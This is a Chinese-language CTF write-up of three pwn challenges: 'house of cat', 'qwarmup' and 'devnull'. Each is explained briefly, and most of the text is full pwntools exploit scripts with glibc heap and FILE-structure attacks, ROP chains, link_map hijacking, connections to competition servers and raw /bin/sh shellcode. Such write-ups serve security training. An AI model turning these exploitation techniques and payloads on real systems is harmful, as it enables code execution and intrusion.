有一位先哲曾经说过:“看了题,感觉不如去hvv。”
house of cat
实际上就是house of apple,链接:https://bbs.pediy.com/thread-273832.htm
有两次largebin_attack的机会,两次0x30大小的edit机会
一次用来修改stderr,一次用来修改main_arena中的top_chunk地址用来触发malloc_assert,从而fflush(stderr)
exp:
from pwn import*
r=remote("182.92.222.142",25394)
#r=process('./house_of_cat')
context.log_level='debug'
libc=ELF("./libc.so.6")
r.recvline()
r.send("LOGIN | r00t QWBQWXF admin")
def new(idx,size,content):
r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("1")
r.recvuntil(":\n")
r.sendline(str(idx))
r.recvuntil(":\n")
r.sendline(str(size))
r.recvuntil(":\n")
r.send(content)
def delete(idx):
r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("2")
r.recvuntil(":\n")
r.sendline(str(idx))
def show(idx):
r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("3")
r.recvuntil(":\n")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("4")
r.recvuntil(":\n")
r.sendline(str(idx))
r.recvuntil(":\n")
r.send(content)
new(0,0x418,"\n")
new(1,0x428,"\n")
new(2,0x418,"\n")
delete(1)
new(15,0x468,"flag")
show(1)
r.recvline()
libc_base=u64(r.recv(8))-0x21a0d0
success("libc_base: "+hex(libc_base))
stderr=libc_base+0x21a860
tls=libc_base-0x2890
top_chunk=libc_base+0x219ce0
IO_wstrn_jumps=libc_base+0x215dc0
IO_str_jumps=libc_base+0x2166c0
IO_cookie_read=libc_base+0x215be0
_IO_wfile_jumps=libc_base+0x2160c0
setcontext=libc_base+libc.sym["setcontext"]+61
#0x000000000011388f : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
gadget=libc_base+0x11388f
pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx=libc_base+0x90529
pop_rcx=libc_base+0x8c6bb
pop_r8=libc_base+0x165b76
syscall=libc_base+0x91396
pop_rax=libc_base+0x45eb0
r.recv(8)
heap=u64(r.recv(8))-0x6b0
success("heap: "+hex(heap))
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x58,"\x00")
fake_IO_struct+=p64(heap+0x570)
fake_IO_struct=fake_IO_struct.ljust(0x64,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x78,"\x00")
fake_IO_struct+=p64(heap)
fake_IO_struct=fake_IO_struct.ljust(0x90,"\x00")
fake_IO_struct+=p64(heap+0x1470)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps-0x20)
fake_IO_struct=fake_IO_struct.ljust(0x158,"\x00")
fake_IO_struct+=p64(gadget)
fake_IO_struct=fake_IO_struct.ljust(0x178,"\x00")
fake_IO_struct+=p64(setcontext)
fake_IO_struct=fake_IO_struct.ljust(0x1a0,"\x00")
fake_IO_struct+=p64(heap+0x1570)
fake_IO_struct=fake_IO_struct.ljust(0x1d0,"\x00")
fake_IO_struct+=p64(heap+0x1470)
fake_IO_struct=fake_IO_struct.ljust(0x290,"\x00")
fake_IO_struct+=p64(heap+0x1670)+p64(pop_rdi)
fake_IO_struct=fake_IO_struct.ljust(0x2f0,"\x00")
fake_IO_struct+=p64(heap+0xf10)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(0x2)+p64(syscall)
fake_IO_struct+=p64(pop_r8)+p64(3)+p64(pop_rdi)+p64(0xA0000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(1)+p64(0)+p64(pop_rcx)+p64(1)+p64(libc_base+libc.sym["mmap"])
fake_IO_struct+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA0000)+p64(pop_rdx)+p64(0x30)+p64(0)+p64(libc_base+libc.sym["write"])
new(10,0x418,"\n")
new(3,0x418,fake_IO_struct)
new(4,0x418,"\n")
new(5,0x448,"\n")
new(6,0x418,"\n")
new(7,0x438,"\n")
new(8,0x418,"\n")
delete(1)
new(11,0x468,"\n")
delete(3)
edit(1,p64(libc_base+0x21a0d0)+p64(libc_base+0x21a0d0)+p64(heap+0x6c0)+p64(stderr-0x20))
new(14,0x468,"\n")
delete(5)
new(13,0x468,"\n")
delete(7)
edit(5,p64(libc_base+0x21a0e0)+p64(libc_base+0x21a0e0)+p64(heap+0x1740)+p64(top_chunk-0x20))
#gdb.attach(r,"b _IO_wdoallocbuf")
r.recvuntil("mew mew mew~~~~~~\n")
r.send("CAT | r00t QWBQWXF $\xff\xff\xff\xff")
r.recvuntil(":\n")
r.sendline("1")
r.recvuntil(":\n")
r.sendline(str(12))
r.recvuntil(":\n")
r.sendline(str(0x468))
r.interactive()
qwarmup
有生之年在qwb拿了个一血,我能吹一年
程序唯一关闭的保护就是RELRO,显然要从这边入手
一开始的malloc肯定是要申请到mmap,借此来做到任意libc地址写
通过修改link_map->l_addr的低位来控制解析完的真实write地址写的位置,让其覆盖掉在bss段上的size变量来达到无限次的任意libc地址写
并且write的真实地址并没有被写进got表,因此每次调用write都会进行symbol查找
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
......
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
......
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
}
......
}
可以看出传给_dl_lookup_symbol_x函数的第一个参数就是待查找函数的函数名
而sym->st_name对于同一个函数而言是一个固定值
而strtab则是来源于于libc上的全局结构体link_map,link_map->l_info[DT_STRTAB],指向程序段
通过低位修改可以让其指向程序段上的某个指向libc可写内存段的指针,进而劫持strtab,达到任意函数调用
虽然有了任意函数解析,但是由于write函数的rdi为1,大部分的printf族函数都无法使用
最后找到没有参数的_IO_flush_all来刷新缓冲区,修改stdout结构体来泄漏libc地址
有了libc地址加上任意libc地址写,打法很多就不再赘述,exp中是使用_IO_cookie_read来ROP
exp:
from pwn import* #r=remote("127.0.0.1",9999) #r=remote("121.40.213.105",12001) r=process('./qwarmup') context.log_level='debug' libc=ELF("./libc-2.35.so") def write(offset,content): for i in range(len(content)): r.send(p64(offset+i)) r.send(content[i]) r.recvuntil("Success!") def rol(num,shift): for i in range(shift): num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000) return num r.send(p32(0xF0000)) write(0x3592d0,"\x70") write(0x30e770,p32(0xfbad1800)) write(0x30e770+0x20+0x8,"\xFF") write(0x359108+0x22,"_IO_flush_all") r.send(p64(0x359338)) gdb.attach(r, "b _IO_cookie_read") r.send("\xb8") r.recv(5) libc_base=u64(r.recv(8))-0x21ba70 success("libc_base: "+hex(libc_base)) setcontext=libc_base+libc.sym["setcontext"] pop_rdi=libc_base+0x2a3e5 pop_rsi=libc_base+0x2be51 pop_rdx=libc_base+0x90529 pop_rcx=libc_base+0x8c6bb pop_r8=libc_base+0x165b76 syscall=libc_base+0x91396 pop_rax=libc_base+0x45eb0 #0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] gadget=libc_base+0x1675b0 base=libc_base-0xf3ff0 write(0x359338,"\x78") write(0x30e770,p64(base)) write(0x30e690+0xd8,p64(libc_base+0x215b80+0x58)) write(0x30e690+0x28,"\x01") write(0x30e690+0xe8,p64(rol(gadget,0x11))) write(0xf1760,p64(0)) payload="flag"+p32(0)+p64(base)+p64(0)*0x2+p64(setcontext+61) payload=payload.ljust(0xa0,"\x00") payload+=p64(base+0x100)+p64(pop_rdi) payload=payload.ljust(0x100,"\x00") payload+=p64(base)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall) payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(base)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libc_base+libc.sym["read"]) payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"]) write(0,payload) r.send(p64(0x359338)) r.send("\xb8") r.interactive()
devnull
fgets出存在溢出,可以溢出覆盖后面的fd,将其修改为0
从而让后面从/dev/null中read的0x2c个字节变为从stdin中读取,从而达到栈溢出
溢出修改void *buf; // [rsp+38h] [rbp-8h],将其指向bss段,最后进行栈劫持,劫持整个stack
程序没有init,因此不存在常规pop链,需要其他方法来进行ROP
.text:00000000004014F7 lea rax, aThanks ; "Thanks\n"
.text:00000000004014FE mov rdi, rax
.text:0000000000401501 call sub_401356
注意到函数返回时,使用strlen求长度后用write输出了Thanks\n
而该字符串为7个字节,因此rdx为7,刚好为PROT_READ|PROT_WRITE|PROT_EXEC
配合一些gagdet就能让bss段rwx,从而执行shellcode
控制rax
.text:0000000000401350 mov rax, [rbp-18h]
.text:0000000000401354 leave
.text:0000000000401355 retn
调用mprotect修改段权限
.text:00000000004012D0 mov esi, 1000h ; len
.text:00000000004012D5 mov rdi, rax ; addr
.text:00000000004012D8 call _mprotect
exp:
from pwn import*
#r=remote("123.56.86.227",18680)
r=process('./devnull')
context(os="linux",arch="amd64",log_level='debug')
r.recvuntil("please input your filename\n")
r.send("a"*0x20)
stack=0x3feA00
shell=asm("""
xor rdi,rdi
push 0x3fe000
pop rsi
pushfq
pop rdx
xor rax,rax
syscall
jmp rsi
""")
r.recvuntil("Please write the data you want to discard\n")
gdb.attach(r)
r.send("a"*0x14+p64(stack)+p64(stack)+p64(0x40138D))
r.recvline("please input your new data\n")
payload=p64(stack+0x28)+p64(0x401350)+p64(stack&0xFFF000)+p64(0x4012d0)+p64(0)+p64(0)+p64(0x4012d0)+p64(0)+p64(stack+0x48)+shell
r.send(payload.ljust(0x60,"\x00"))
shell="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.send(shell)
r.interactive()